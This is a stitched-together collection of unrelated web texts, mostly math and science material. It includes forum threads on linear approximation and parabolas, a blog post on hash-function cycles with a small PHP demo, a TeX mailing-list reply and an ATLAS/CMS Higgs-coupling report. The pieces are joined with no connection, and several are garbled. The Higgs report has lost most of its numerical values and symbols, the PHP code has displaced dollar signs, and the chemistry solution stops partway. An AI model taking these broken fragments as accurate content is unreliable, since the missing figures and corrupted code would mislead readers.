A rebuttal paper [John Leslie, "No Inverse Gambler's Fallacy in Cosmology." "Mind" 97:386 (April 1988), pp. 269–272.] by John Leslie points out a difference between the observation of double sixes and the observation of fine tuning, namely that the former is not necessary (the roll could have come out differently) while the latter is necessary (our universe must support life, which means "ex hypothesi" that we must see fine tuning). He suggests the following analogy: instead of being summoned into a room to observe a particular roll of the dice, we are told that we will be summoned into the room immediately after a roll of double sixes. In this situation it may be quite reasonable, upon being summoned, to conclude with high confidence that we are not seeing the first roll. In particular, if we know that the dice are fair and that the rolling would not have been stopped before double sixes turned up, then the probability that we are seeing the first roll is at most 1/36. (It may be smaller because we have not assumed that the roller is obliged to summon us the first time double sixes come up.)

References

Wikimedia Foundation. 2010.

### Look at other dictionaries:

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• Fallacy of quoting out of context — The practice of quoting out of context, sometimes referred to as contextomy or quote mining , is a logical fallacy and a type of false attribution in which a passage is removed from its surrounding matter in such a way as to distort its intended… …   Wikipedia

• Fallacy of the single cause — The fallacy of the single cause, also known as causal oversimplification, is a fallacy of questionable cause that occurs when it is assumed that there is a single, simple cause of an outcome when in reality it may have been caused by a number of… …   Wikipedia

• Reification (fallacy) — Contents 1 Etymology 2 Theory 3 Difference between reification and hypostatisation …   Wikipedia

• Deductive fallacy — A deductive fallacy is defined as a deductive argument that is invalid. The argument itself could have true premises, but still have a false conclusion.[1] Thus, a deductive fallacy is a fallacy where deduction goes wrong, and is no longer a… …   Wikipedia

• Nirvana fallacy — The nirvana fallacy is the logical error of comparing actual things with unrealistic, idealized alternatives. It can also refer to the tendency to assume that there is a perfect solution to a particular problem. A closely related concept is the… …   Wikipedia


text:
# Math Help - Linear Approximation

1. ## Linear Approximation

Estimate the quantity using Linear Approximation and find the error using a calculator.

The Linear Approximation is:
The error in Linear Approximation is:

I know that:
$
f(x) = 1/(sqrtx)
, a=95
$
and the change in x is 4.

So:

f'(x)=-1/2(x)^(-3/2)
f'(a)=-1/2(1/95)^(3/2)
f'(a)=-.000539988606

Change in F=f'(a)*Change in x
So:

delta f=(4)*(-.000539988606)
delta f=-.0021599544

Actual change=f(a+delta x)-f(a)
=f(95+4)-f(95)
=-.0020940537

Error in Approximation= absolute value of (delta f - actual change)
= (-.0021599544-(-.0020940537))
=.000065900717

**Updated with right answers for those that may need help.**

2. Solved the problem. Updated original post for those that may need help in the future.


text:
# Question about computing Jacobians of transformations

by Boorglar
Tags: computing, jacobians, transformations
 P: 158 Suppose I have the following transformation: $$u = \frac{x}{x^2+y^2+z^2}$$ $$v = \frac{y}{x^2+y^2+z^2}$$ $$w = \frac{z}{x^2+y^2+z^2}$$ Is there a fast way to calculate the determinant jacobian without having to deal with the whole 3x3 determinant? I noticed that the inverse transformation is the same (switching x,y,z with u,v,w gives the equality again) but the determinant is not 1, so I don't really know if this can help. Or would I really have to do it the long and boring way?
 HW Helper P: 2,080 Your inverse is wrong. Sure there is a fast way, consider the slight generalization where the denominator is a function R so your case is R=x^2+y^2+z^2 then we have $$J= \left| \begin{array}{ccc} u_x & u_y & u_z \\ v_x & v_y & v_z \\ w_x & w_y & w_z \end{array} \right| =\frac{1}{R^3} \left| \begin{array}{ccc} 1 - x R_x/R & -x R_y/R & -x R_z/R \\ -y R_x/R & 1 - y R_y/R & -y R_z/R \\ -z R_x/R & -z R_y/R & 1 - z R_z/R \end{array} \right| =\frac{1-(x R_x+y R_y+z R_z)/R}{R^3}$$ The determinant is closely related to $$\left| \begin{array}{ccc} a-U & -V & -W \\ -U & b-V & -W \\ -U & -V & c-W \end{array} \right| =abc-bc U-ac V-abW$$
 HW Helper P: 2,080 ^The inverse is right.
P: 1,668

## Question about computing Jacobians of transformations

This function just divides each vector by the square of its length. A small cube alligned so that its base is tangent to a sphere centered at the origin will be shrunk in volume by a factor of the sixth power of the radius of the sphere. So the magnitude of the determinant is the reciprocal of the sixth power of the radius of the sphere.

 Related Discussions Calculus 3 General Physics 1 General Physics 0 General Physics 0 General Physics 0


text:
# User:Daviddaved/Y-Δ and star-mesh transforms

The effective conductivities and the Dirichlet-to-Neumann operator of a network are invariant under the following star-mesh transform,

Exercise (**). Use the Schur complement formula

$\Lambda = K/C$

for the Dirichlet-to-Neumann map to prove the invariance.

The Y-Δ transform is a special case of the star-mesh transform in which the center node has the degree 3.
Last modified on 9 October 2012, at 00:16


text:
Categories

# Putting the “Fun” in “Hash Function”

There are several different methods for securely hashing a password server-side for storage and future authentication. The most common one (a.k.a. the one that FIPS allows you to use, if compliance matters for you) is called PBKDF2. It stands for Password-Based Key Derivation Function #2.

Why #2? It’s got nothing to do with pencils. There was, in fact, a PBKDF1! But PBKDF1 was fatally insecure in a way I find very interesting. This StackOverflow answer is a great explainer on the difference between the two.

### Very Hand-Wavy Description of a Hash Function

Let’s defined a hash function $H(m)$ as any one-way transformation of some arbitrary-length string ($m$) to a fixed-length, deterministic, pseudo-random output.

For example, this is a dumb hash function (uses SipHash-2-4 with a constant key):

function dumb_hash(string $arbitrary, bool$raw_binary = false): string
{
$h = sodium_crypto_shorthash($arbitrary, 'SoatokDreamseekr');
if ($raw_binary) { return$h;
}
return sodium_bin2hex(\$h);
}

You can see the output of this function with some sample inputs here.

### Properties of Hash Functions

A hash function is considered secure if it has the following properties:

1. Pre-image resistance. Given $H(m)$, it should be difficult to find $m$.
2. Second pre-image resistance. Given $m_1$, it should be difficult to find $m_2$ such that $H(m_1) = H(m_2)$
3. Collision resistance. It should be difficult to find any arbitrary pair of messages ($(m_{1}, m_{2})$) such that $H(m_1) = H(m_2)$

That last property, collision resistance, is guaranteed up to the Birthday Bound of the hash function. For a hash function with a 256-bit output, you will expect to need on average $2^{128}$ trial messages to find a collision.

If you’re confused about the difference between collision resistance and second pre-image resistance:

Collision resistance is about finding any two messages that produce the same hash, but you don’t care what the hash is as long as two distinct but known messages produce it.

On the other paw, second pre-image resistance is about finding a second message that produces a given hash.

### Exploring PBKDF1’s Insecurity

If you recall, hash functions map an arbitrary-length string to a fixed-length string. If your input size is larger than your output size, collisions are inevitable (albeit computationally infeasible for hash functions such as SHA-256).

But what if your input size is equal to your output size, because you’re taking the output of a hash function and feeding it directly back into the same hash function?

Then, as explained here, you get an depletion of the possible outputs with each successive iteration.

But what does that look like?

Without running the experiments on a given hash function, there are two possibilities that come to mind:

1. Convergence. This is when $H(H(H(...H(m)...)))$ will, for two arbitrary messages and a sufficient number of iterations, converge on a single hash output.
2. Cycles. This is when $H_{n}(m) = H_{n + k}(m)$ for some integer $k$.

The most interesting result would be a quine, which is a cycle where $H(m) = m$ (that is to say, $k = 1$).

The least interesting result would be for random inputs to converge into large cycles e.g. cycles of size $2^{128}$ for a 256-bit hash function.

I calculated this lazily as the birthday bound of the birthday bound (so basically the 4th root, which for $2^{256}$ is $2^{64}$).

Update: According to this 1960 paper, the average time to cycle is $(1/2) (2\pi n)^{1/2}$, and cycle length should be $(1/4) (2\pi n)^{1/2}$, which means for a 256-bit hash you should expect a cycle after about $(1/2) (2\pi 2^{256})^{1/2} \approx 2^{128.326}$ or about 128 bits, and the average cycle length will be about $(1/4) (2\pi 2^{256})^{1/4} \approx 2^{127.326}$. Thanks Riastradh for the corrections.

Conjecture: I would expect secure cryptographic hash functions in use today (e.g. SHA-256) to lean towards the least interesting output.

## An Experiment Design

Since I don’t have an immense amount of cheap cloud computing at my disposal to run this experiments on a real hash function, I’m going to cheat a little and use my constant-key SipHash code from earlier in this post. In future work, cryptographers may find studying real hash functions (e.g. SHA-256) worthwhile.

Given that SipHash is a keyed pseudo-random function with an output size of 64 bits, my dumb hash function can be treated as a 64-bit hash function.

This means that you should expect your first collision (with 50% probability) after only $2^{32}$ trial hashes. This is cheap enough to try on a typical laptop.

Here’s a simple experiment for convergence:

1. Generate two random strings $(m1, m2)$.
2. Set $h1 = H(m1), h2 = H(m2)$.
3. Iterate $h1 = H(h1), h2 = H(h2)$ until $h1 = h2$.

You can get the source code to run this trivial experiment here.

Clone the git repository, run composer install, and then php bin/experiment.php. Note that this may need to run for a very long time before you get a result.

If you get a result, you’ve found a convergence.

If the loop doesn’t terminate even after 2^64 iterations, you’ve definitely found a cycle. (Actually detecting a cycle and analyzing its length would require a lot of memory, and my simple PHP script isn’t suitable for this effort.)

### What Does This Actually Tell Us?

The obvious lesson: Don’t design key derivation functions like PBKDF1.

But beyond that, unless you can find a hash function that reliably converges or produces short cycles ($k < (1/4) (2\pi 2^{n})^{1/2}$, for an n-bit hash function), not much. (This is just for fun, after all!)

If, however, a hash function is discovered to produce interesting results, this may indicate that the chosen hash function’s internal design is exploitable in some subtle ways that, upon further study, may lead to better cryptanalysis techniques. Especially if a hash quine is discovered.

(Header art by Khia)

## By Soatok

Security engineer with a fursona. Ask me about dholes or Diffie-Hellman!

## 3 replies on “Putting the “Fun” in “Hash Function””

[…] pair that produces the same authentication tag is a hard problem, due to HMAC’s reliance on cryptographic hash functions. This makes HMAC-based constructions “message committing”, which instills Random Key […]

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[…] produces the related authentication mark is a captivating area, ensuing from HMAC’s reliance on cryptographic hash capabilities. This makes HMAC-based constructions “message committing”, which instills Random Key […]

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randosays:

At least cycle detection should be quite easy, if you run h2=H(H(h2)) like in Pollard’s Rho method. In that case you get collision even in a cycle. And if running for 2^64 is not a problem you can also run h1=H(h1) again after finding h1=h2 until you get it again and count iterations to get cycle length

Like


text:
# The point (4,3) is on the terminal side of an angle in standard position, how do you determine the exact values of the six trigonometric functions of the angle?

Sep 12, 2017

#### Answer:

Sine $= \frac{3}{5} = 0.6$
Cosine $= \frac{4}{5} = 0.8$
Tangent $= \frac{3}{4} = .75$
Cotangent =$\frac{4}{3} = 1.33$
Secant $= \frac{5}{4} = 1.25$
Cosecant $= \frac{5}{3} = 1.67$

#### Explanation:

Begin by drawing the terminal side in standard position and drawing the associated triangle.

Using the Pythagorean Theorem calculate the missing side the hypotenuse. (This is a Pythagorean Triplet 3-4-5)

We now have a triangle with values of

$x = 4$
$y = 3$
$h = 5$

The six trigonometric functions include

Sine $= \frac{y}{h}$
Cosine $= \frac{x}{h}$
Tangent $\frac{y}{x}$
Cotangent =$\frac{x}{y}$
Secant $= \frac{h}{x}$
Cosecant $= \frac{h}{y}$

Sine $= \frac{3}{5} = 0.6$
Cosine $= \frac{4}{5} = 0.8$
Tangent $= \frac{3}{4} = .75$
Cotangent =$\frac{4}{3} = 1.33$
Secant $= \frac{5}{4} = 1.25$
Cosecant $= \frac{5}{3} = 1.67$


text:
# Math Help - Parabolas

1. ## Parabolas

I was given this parabola y = 2x^2 + 12x + 17

Can anyone change this to the "a(x-h)^2 + k" standard form?

I also need to find the vertex,focus,directrix and length of the latus rectum of this parabola.

How would I go about doing that? Any help on this would be much appreciated..

2. Originally Posted by 14041471
Can anyone change this to the "a(x-h)^2 + k" standard form?
$y = 2(x^2 + 6x) + 17
$

$y = 2(x^2 + 6x + 9) + 17 - 18$

$y = 2(x + 3)^2 - 1$

3. ## thankyou

thanks alot, please could you help me find the latus ractum.

4. Originally Posted by 14041471
thanks alot, please could you help me find the latus ractum.
Any replies at http://www.mathhelpforum.com/math-he...parabolas.html can be used to answer some of the remaining questions here.

5. ## the focus of a parabola

I believe the focus is (3,-7/8) am i correct? if no what is the awnser

I also have to find the diretrix and have the horizontal line (-9/8) is that correct?

6. What I wrote before, if you saw it, was wrong! I was thinking "directrix", not "latus rectum". Strictly speaking the latus rectum is the line segment from one point on the parabola to another point on the parabola, perpendicular to the axis and through the focus. Some texts, however, also use "latus rectum" to refer to the length of that line segment. You had better check which your textbook or teacher intends.

With your example, $y= 2(x+ 3)^2- 1$ the axis is vertical so the latus rectum will be horizontal: between two points on the parabola having the same y value as the focus. After you have found the focus, say $\left(x_f, y_f\right)$, you will need to solve $2(x+3)^2- 1= y_f$. That will have two solutions. The latus rectum, as a line segment will be the line segment haveing those x coordinates and [tex]y_f[/itex] as y coordinate. As a single number, the lenght of that segment, it is the difference between those two x values.


text:
# [texhax] FW: Arrow head too large on \overarrowright

Donald Arseneau asnd at triumf.ca
Mon Dec 30 10:20:00 CET 2013

On Sun, December 29, 2013 4:21 am, Dr A K Hannaby wrote:

> No reply to this after 7+ days - anybody interested - seems a valid issue.

> I attach a minimal file containing some code (as shown below) at about
> line 1200.

Hardly minimal; nevertheless...

> \noindent We would write
> \hspace{39pt}$\overrightarrow{AB}+\overrightarrow{BC}=\overrightarrow{AC}$

...this gets to the point very well.

> The arrow head is much too big and touches the letters below - otherwise
> it would be OK.

I'd have to say that the over-arrows in amsmath aren't very good,
but the major failing is with the arrow characters in the computer
modern font.  At one point, historically, the designer changed them
to use bigger fatter arrow heads.  I can't say if the AMS \overrightarrow
command was designed based on the original (better) arrows, or
if it is just badly executed.

The first recommendation is to use a different font set, if that
appeals to you.  Perhaps \usepackage{txfonts}.  But beware that the
same arrow characters got imported into some unrelated fonts.

Other than that (or in addition) put the following definitions into
a file, say fixamsarrow.sty, and then \usepackage{amsmath,fixamsarrow}

\def\overarrow@#1#2#3{\vbox{%
\ialign{##\crcr#1{\smaller at than#2}\crcr
\noalign{\nointerlineskip\kern.12ex}$\m at th\hfil#2#3\hfil$\crcr}}}
\def\smaller at than#1{\ifx\scriptstyle#1\scriptscriptstyle\else
\ifx\scriptscriptstyle#1\scriptscriptstyle\else
\scriptstyle\fi\fi}

The third shortcoming is that the arrows are not shifted based on
the slant of the letters, but correcting that is tricky and prone
to errors, so I'll say to just live with it.

Hope this helps.

Donald Arseneau, TRIUMF CMMS, asnd at triumf.ca


text:
• Corpus ID: 232380005

Variational structures beyond gradient flows: a macroscopic fluctuation-theory perspective

@inproceedings{Patterson2021VariationalSB,
title={Variational structures beyond gradient flows: a macroscopic fluctuation-theory perspective},
author={Robert I. A. Patterson and D. R. Michiel Renger and Upanshu Sharma},
year={2021}
}
• Published 26 March 2021
• Mathematics
Macroscopic equations arising out of stochastic particle systems in detailed balance (called dissipative systems or gradient flows) have a natural variational structure, which can be derived from the large-deviation rate functional for the density of the particle system. While large deviations can be studied in considerable generality, these variational structures are often restricted to systems in detailed balance. Using insights from macroscopic fluctuation theory, in this work we aim to…
6 Citations

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References

SHOWING 1-10 OF 60 REFERENCES

Macroscopic Fluctuation Theory for Stationary Non-Equilibrium States

• Mathematics, Physics
• 2001
We formulate a dynamical fluctuation theory for stationary non-equilibrium states (SNS) which is tested explicitly in stochastic models of interacting particles. In our theory a crucial role is

Gradient and GENERIC Systems in the Space of Fluxes, Applied to Reacting Particle Systems

This work takes the particle flux as the macroscopic quantity, which is related to the concentration via a continuity equation, and shows that many gradient orGENERIC systems arise from an underlying gradient or GENERIC system where fluxes rather than densities are being driven by (free) energies.

Canonical Structure and Orthogonality of Forces and Currents in Irreversible Markov Chains

• Mathematics
Journal of statistical physics
• 2018
We discuss a canonical structure that provides a unifying description of dynamical large deviations for irreversible finite state Markov chains (continuous time), Onsager theory, and Macroscopic

Variational approach to coarse-graining of generalized gradient flows

• Mathematics
Calculus of variations and partial differential equations
• 2017
A variational technique that handles coarse-graining and passing to a limit in a unified manner based on a duality structure that is used to solve three limit problems, the overdamped limit of the Vlasov–Fokker–Planck equation and the small-noise limit of randomly perturbed Hamiltonian systems with one and with many degrees of freedom.

From a Large-Deviations Principle to the Wasserstein Gradient Flow: A New Micro-Macro Passage

• Computer Science
• 2010
A new connection is established between a system of many independent Brownian particles and the deterministic diffusion equation by proving that Jh and Kh are equal up to second order in h as h → 0.

On the Relation between Gradient Flows and the Large-Deviation Principle, with Applications to Markov Chains and Diffusion

• Mathematics
• 2013
Motivated by the occurrence in rate functions of time-dependent large-deviation principles, we study a class of non-negative functions ℒ that induce a flow, given by ℒ(ρt,ρ̇t)=0\$\mathcal{L} (\rho

Formulation of thermoelastic dissipative material behavior using GENERIC

We show that the coupled balance equations for a large class of dissipative materials can be cast in the form of GENERIC (General Equations for Non-Equilibrium Reversible Irreversible Coupling). In

Macroscopic fluctuation theory

• Physics
• 2015
Stationary non-equilibrium states describe steady flows through macroscopic systems. Although they represent the simplest generalization of equilibrium states, they exhibit a variety of new

Canonical structure of dynamical fluctuations in mesoscopic nonequilibrium steady states

• Physics
• 2008
We give the explicit structure of the functional governing the dynamical density and current fluctuations for a mesoscopic system in a nonequilibrium steady state. Its canonical form determines a

Dynamics and thermodynamics of complex fluids. II. Illustrations of a general formalism

• Physics
• 1997
For a number of well-known time-evolution equations for nonequilibrium systems we extract a common structure from these equations, referred to as a general equation for the nonequilibrium


text:
Higgs boson results on couplings to fermions, CP parameters and perspectives for HL-LHC (ATLAS AND CMS) Talk presented at the International Workshop on Future Linear Colliders (LCWS2017),Strasbourg, France, 23-27 October 2017. C17-10-23.2.

# Higgs boson results on couplings to fermions, CP parameters and perspectives for HL-LHC (ATLAS AND CMS) Talk presented at the International Workshop on Future Linear Colliders (LCWS2017), Strasbourg, France, 23-27 October 2017. C17-10-23.2.

## Abstract

This report summarizes latest ATLAS and CMS results on Higgs boson couplings to fermions. Presented topics include decays into final states of pairs of tau leptons and pairs of bottom quarks as well as results on the ttH production mode. Results are complemented by tests of the CP invariance and searches for lepton flavor violating decays. Finally, prospects of future Higgs boson analyses within the scope of the High Luminosity LHC program are discussed. The presented results mostly use LHC 2016 data collected at a center-of-mass energy of TeV corresponding to an integrated luminosity of about 36 .

## I Introduction

In the standard model (SM), Yukawa couplings describe interactions of fermions with the Higgs boson field. Since Yukawa couplings are proportional to the mass of the fermions the best way to probe Yukawa couplings are in Higgs boson decays into pairs of tau leptons and pairs of bottom quarks. Couplings to top quark pairs can be probed via the gluon fusion or the associated ttH production mode. Any deviations of Yukawa couplings, e.g. asymmetries in up/down quarks or lepton flavor violating Higgs boson decays, would be strong signs of new physics.

## Ii Results on Higgs boson couplings to fermions

### ii.1 Decay into pairs of tau leptons

The larger mass and therefore the larger coupling with respect to the di-muon final state, and the smaller quark and gluon jet background, and therefore the better experimental accessibility with respect to the b quark final state, make Higgs boson decays into pairs of tau leptons to most promising candidate to probe Yukawa couplings. Previous analyses that use data collected at TeV and TeV (the data taking period in 2011 and 2012 is from now on referred to as LHC Run-1) can be found in Refs. (3); (4) for ATLAS (1) and CMS (2), respectively. The measurements are compatible with each other and with SM predictions. The combination of the two individual measurements (5) establishes the Higgs boson decay into pairs of tau leptons for the first time with a significance larger than five standard deviations over the background-only hypothesis.

The first direct observation of the Higgs boson decay into pairs of tau leptons is reported by CMS in Ref.(7). Since tau leptons can both decay into hadrons and leptons, the analysis has to deal with several final states. The most sensitive final states comprise , , and decay modes, where denotes a hadronically decaying tau lepton and () a tau lepton decaying into a muon (electron).
The analysis is split into three mutual exclusive event categories, namely a 0-jet category to target Higgs boson production via gluon fusion, a 1-jet boosted category, and a 2-jet category to target Higgs boson production via vector boson fusion (VBF). The signal is extracted from simultaneous maximum likelihood fits in 2D categories that are chosen to maximize the discovery potential. The event distribution in the most sensitive category, the 2-jet VBF category, is shown in Fig. 1.

The analysis reveals an excess in data where the observed (expected) significance for a SM Higgs boson with GeV is 4.9 (4.7) standard deviations. The corresponding best fit value for the signal strength is found to be at GeV. Here, GeV corresponds to the combined ATLAS and CMS Run-1 measurement on the Higgs boson mass (6). The best fit values for the signal strengths per channel and per category are shown in Fig. 2.
Results are combined with the results of the CMS LHC Run-1 search for a Higgs boson decaying into pairs of tau leptons (4) yielding a combined observed (expected) significance of 5.9 (5.9) standard deviations.

### ii.2 Decay into pairs of bottom quarks

In contrast to the di-tau final state, the gluon fusion and VBF production modes are less sensitive for searches of Higgs boson decays into pairs of bottom quarks due to the overwhelming multi-jet backgrounds. Therefore, most analyses rather target Higgs boson production in association with W or Z bosons. Previous bb final state analyses comprise results from CDF and D0 experiments at Tevatron as well as ATLAS and CMS results (8); (9); (10); (5).

The most recent ATLAS result can be found in Ref. (11). Channels are distinguished by the number of charged leptons (0-lepton, 1-lepton, 2-lepton) in the final state in addition to two b-tagged jets. The 0-lepton category targets decays of the Z boson into two neutrinos, the 1-lepton category decays of the W boson into lepton plus neutrino and the 2-lepton category decays into two leptons. Further subcategorization is made concerning the transverse momentum of the reconstructed vector boson and the number of jets. A multivariate analysis strategy is applied where the output of Boosted Decision Trees (BDTs) is used as discriminating variable. Two cross-check analyses are performed: The first applies a maximum likelihood fit to the bb mass system, the second uses the same BDT strategy but is trained on (W,Z)Z resonances where the Z boson decays into pairs of bottom quarks. Figure 3 shows the result of the HZ analyses where the final-discriminant bins are combined into bins of log(S/B).

The analysis reveals an excess in data where the observed (expected) significance for a SM Higgs boson is 3.5 (3.0) standard deviations. This is in agreement with the significances obtained by applying a maximum likelihood fit to the bb mass system. As a byproduct the (W,Z)Z resonance is measured with an observed (expected) significance of 5.8 (5.3) standard deviations with respect to the background-only hypothesis. Combination with ATLAS LHC Run-1 results of a Higgs boson decaying into pairs of bottom quarks yield an observed (expected) significance of 3.6 (4.0) standard deviations. The best fit value for the signal strength is found to be and for Run-2 and for Run-1 and Run-2 combinations, respectively.

The corresponding CMS analysis (12) is conceptually similar, also dividing the analysis into 3 channels depending on the number of charged leptons and deploying a multivariate analysis strategy (BDTs) where a cross-check analysis targets the (W,Z)Z resonance. The observed (expected) significance for a SM Higgs boson amounts to 2.8 (3.3) standard deviations. Combination with CMS Run-1 results yields an observed (expected) significance of 3.8 (3.8) standard deviations. The best fit value for the signal strength is found to be and for Run-2 and for Run-1 and Run-2 combinations, respectively.

### ii.3 Test of top quark couplings via the ttH production mode

The Higgs boson production in association with a pair of top quarks is the most direct way to probe couplings of the top quark to the Higgs boson. The production cross section is about 4 times higher at a center-of-mass energy of TeV than it is at TeV. Combined LHC Run-1 results from ATLAS and CMS revealed a small excess of approximately two standard deviations with respect to the SM expectation that was most pronounced in the CMS same-sign lepton channel (5). However, no excess was seen in any other measurements where couplings of the top quark and the Higgs boson are involved, e.g. in gluon fusion tagged events or in decays of the Higgs boson into two photons. Figure 4 summarizes the best fit values of the signal strength from individual results obtained by ATLAS as well as the combined value that is found to be . Further ATLAS results on the ttH production mode using data collected at TeV cover combined results of Higgs boson decays into pairs of photons and pairs of Z bosons (14) as well as decays into pairs of W bosons and pairs of tau leptons (15).
Recent CMS measurements of the ttH production mode and of the signal strength are summarized in Tab. I (16); (17); (18); (19). Both ATLAS and CMS results are compatible with SM expectations but more data is needed to firstly, establish the ttH production with a significance of more than five standard deviations over the background-only hypothesis and secondly, to decrease the uncertainties on the measurements.

## Iii Selected searches for BSM couplings

### iii.1 Lepton flavor violating decays

In the SM, lepton flavor violating (LFV) decays are forbidden since the Yukawa matrices are flavor diagonal in the lepton sector. However, lepton flavor decays are predicted in many BSM models, e.g. supersymmetric or composite Higgs models. Analyzing LHC Run-1 data, CMS found a small excess of 2.4 standard deviations in the H final state (20). The corresponding ATLAS result can be found in Ref. (21). The updated CMS result using data collected at a center-of-mass energy of TeV can be found in Ref. (22). The analysis considers 4 final states, namely the , , and states. The signal is extracted from BDT distributions where the collinear mass is the key discriminating variable. No evidence for LFV Higgs boson decays are found. Constraints on the non-diagonal elements of the Yukawa matrix are set and upper limits are retrieved for the observed (expected) branching ratios:

• .

Figure 5 displays the obtained limits on the branching ratio.

### iii.2 CP violating decays

The search for CP violating interactions of the SM Higgs boson with other SM particles is motivated by the lack of CP violating sources to explain the baryon asymmetry that is observed in the universe. In Ref. (23), the channel is used to probe the couplings of a pair of vector bosons to the SM Higgs boson. The analysis is based on 20.3 of data collected at a center-of-mass energy of TeV. A CP-odd optimal observable is constructed:

 OO=2Re(M∗SMM∗CP−odd)|MSM|2, (1)

where and are SM CP-even and CP-odd contributions, respectively. An expectation value would be an indication of CP violation. A CP-mixing parameter is defined which relates the SM CP-even and CP-odd contributions:

 M=MSM+~d⋅MCP−odd. (2)

Figure 6 shows the distributions of the optimal observable for different values of the CP-mixing parameter . No CP-violation is found and the analysis allows to constrain in the interval at confidence level, which is consistent with SM predictions of .

## Iv High Luminosity LHC prospects of Higgs analyses

In 2018, after LHC Run-2, the integrated luminosity will be . In 2023, after LHC Run-3, the integrated luminosity is foreseen to be . Finally, in 2037, after the High Luminosity LHC area, it is planned to have collected of data. Table II summarizes the presented results. The respective ATLAS and CMS uncertainties are and start to become statistically dominated.

The goal for upcoming analyses is to decrease the systematic uncertainties as much as possible where it is to consider that several systematic uncertainties partially scale with the integrated luminosity. After the High Luminosity LHC area, the Higgs boson relative couplings could be known with a precision of up to a few percent. Figure 7 summarizes the relative uncertainty on the signal strength by ATLAS (24) and Fig. 8 displays the estimated precision on the modified couplings by CMS (25).

## V Summary

The latest ATLAS and CMS results and Higgs boson couplings to fermions are presented. The decay of the Higgs boson into a pair of tau leptons is the first fermionic decay to be observed by CMS with a significance of more than five standard deviations. Individual searches for a Higgs boson decaying into a pair of bottom quarks show significances for more than three standard deviations both for ATLAS and CMS. Searches for Higgs boson production in association with a pair of bottom quarks are performed in various decay channels. So far all results agree with a SM Higgs boson within uncertainties. The presented results are summarized and the systematic uncertainties are compared.Projections to an integrated luminosity of show that after the High Luminosity LHC area, the relative couplings could be known with a precision of up to a few percent.

### Footnotes

1. footnotetext: This is my footnote

### References

1. ATLAS Collaboration, JINST 3 S08003 (2008)
2. CMS Collaboration, JINST 3 S08004 (2008)
3. ATLAS Collaboration, JHEP 04 (2015) 117
4. CMS Collaboration, JHEP 05 (2014) 104
5. ATLAS and CMS Collaboration, JHEP 08 (2016) 045
6. ATLAS and CMS Collaboration, Phys. Rev. Lett. 114 (2015) 191803
7. CMS Collaboration, arXiv:1708.00373
8. CDF and D0 Collaboration, PRL 109(2012) 071804
9. ATLAS Collaboration, EPJ C75(5) 212(2015)
10. CMS Collaboration, JHEP01(2015)061
11. ATLAS Collaboration, arXiv:1708.03299
12. CMS Collaboration, arXiv:1709.05543
13. ATLAS Collaboration, ATLAS-CONF-2017-077,
https://cds.cern.ch/record/2291405
14. ATLAS Collaboration, ATLAS-CONF-2017-045,
https://cds.cern.ch/record/2291405
15. ATLAS Collaboration, ATLAS-CONF-2016-058,
https://cds.cern.ch/record/2206153
16. CMS Collaboration, CMS-PAS-HIG-16-040,
https://cds.cern.ch/record/2264515
17. CMS Collaboration, CMS-PAS-HIG-17-004,
https://cds.cern.ch/record/2256103
18. CMS Collaboration, CMS-PAS-HIG-17-003,
https://cds.cern.ch/record/2257067
19. CMS Collaboration, CMS-PAS-HIG-16-038,
https://cds.cern.ch/record/2231510
20. CMS Collaboration, PLB 749 (2015) 337
21. ATLAS Collaboration, JHEP11(2015)211
22. CMS Collaboration, CMS-PAS-HIG-17-001,
https://cds.cern.ch/record/2264540
23. ATLAS Collaboration, EPJ C76(2016) 658
24. ATLAS Collaboration, ATL-PHYS-PUB-2014-016,
https://cds.cern.ch/record/1956710
25. CMS Collaboration, CMS-TDR-15-002
185723


text:
# Portal:Mathematics

## The Mathematics Portal

Mathematics is the study of numbers, quantity, space, structure, and change. Mathematics is used throughout the world as an essential tool in many fields, including natural science, engineering, medicine, and the social sciences. Applied mathematics, the branch of mathematics concerned with application of mathematical knowledge to other fields, inspires and makes use of new mathematical discoveries and sometimes leads to the development of entirely new mathematical disciplines, such as statistics and game theory. Mathematicians also engage in pure mathematics, or mathematics for its own sake, without having any application in mind. There is no clear line separating pure and applied mathematics, and practical applications for what began as pure mathematics are often discovered.

There are approximately 31,444 mathematics articles in Wikipedia.

## Selected article

 Blaise PascalImage credit: User:Anarkman

Blaise Pascal (pronounced [blez pɑskɑl]), (June 19, 1623 – August 19, 1662) was a French mathematician, physicist, and religious philosopher. He was a child prodigy who was educated by his father. Pascal's earliest work was in the natural and applied sciences where he made important contributions to the construction of mechanical calculators, the study of fluids, and clarified the concepts of pressure and vacuum by generalizing the work of Evangelista Torricelli. Pascal also wrote powerfully in defense of the scientific method.

A mathematician of the first order, Pascal helped create two major new areas of research. He wrote a significant treatise on projective geometry at the age of sixteen and corresponded with Pierre de Fermat from 1654 on probability theory, strongly influencing the development of modern economics and social science.

Following a mystical experience in late 1654, he abandoned his scientific work and devoted himself to philosophy and theology. However, he had suffered from ill-health throughout his life and his new interests were ended by his early death two months after his 39th birthday.

 View all selected articles Read More...

## Selected picture

This is a hand-drawn graph of the absolute value (or modulus) of the gamma function on the complex plane, as published in the 1909 book Tables of Higher Functions, by Eugene Jahnke and Fritz Emde. Such three-dimensional graphs of complicated functions were rare before the advent of high-resolution computer graphics (even today, tables of values are used in many contexts to look up function values instead of consulting graphs directly). Published even before applications for the complex gamma function were discovered in theoretical physics in the 1930s, Jahnke and Emde's graph "acquired an almost iconic status", according to physicist Michael Berry. See a similar computer-generated image for comparison. When restricted to positive integers, the gamma function generates the factorials through the relation Γ(n)=(n − 1)!, which is the product of all positive integers from n − 1 down to 1 (0! is defined to be equal to 1). For real and complex numbers, the function is defined by the improper integral ${\displaystyle \textstyle \Gamma (t)=\int _{0}^{\infty }x^{t-1}e^{-x}\,dx}$. This integral diverges when t is a negative integer, which is causing the spikes in the left half of the graph (these are simple poles of the function, where its values increase to infinity, analogous to asymptotes in two-dimensional graphs). The gamma function has applications in quantum physics, astrophysics, and fluid dynamics, as well as in number theory and probability.

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text:
Problem: An experiment shows that a 248 -mL gas sample has a mass of 0.434 g at a pressure of 747 mm Hg and a temperature of 28 oC.What is the molar mass of the gas?

97% (85 ratings)
FREE Expert Solution

We’re being asked to determine the molecular weight of the unknown gas.

Recall that molecular weight is in grams per 1 mole of a substance.

Step1: First, we have to calculate the amount of gas in moles using the ideal gas equation.

$\overline{){\mathbf{P}}{\mathbf{V}}{\mathbf{=}}{\mathbf{n}}{\mathbf{R}}{\mathbf{T}}}$

P = pressure, atm
V = volume, L
n = moles, mol
R = gas constant = 0.08206 (L·atm)/(mol·K)
T = temperature, K

Isolate n (number of moles of gas):

97% (85 ratings)
Problem Details

An experiment shows that a 248 -mL gas sample has a mass of 0.434 g at a pressure of 747 mm Hg and a temperature of 28 oC.

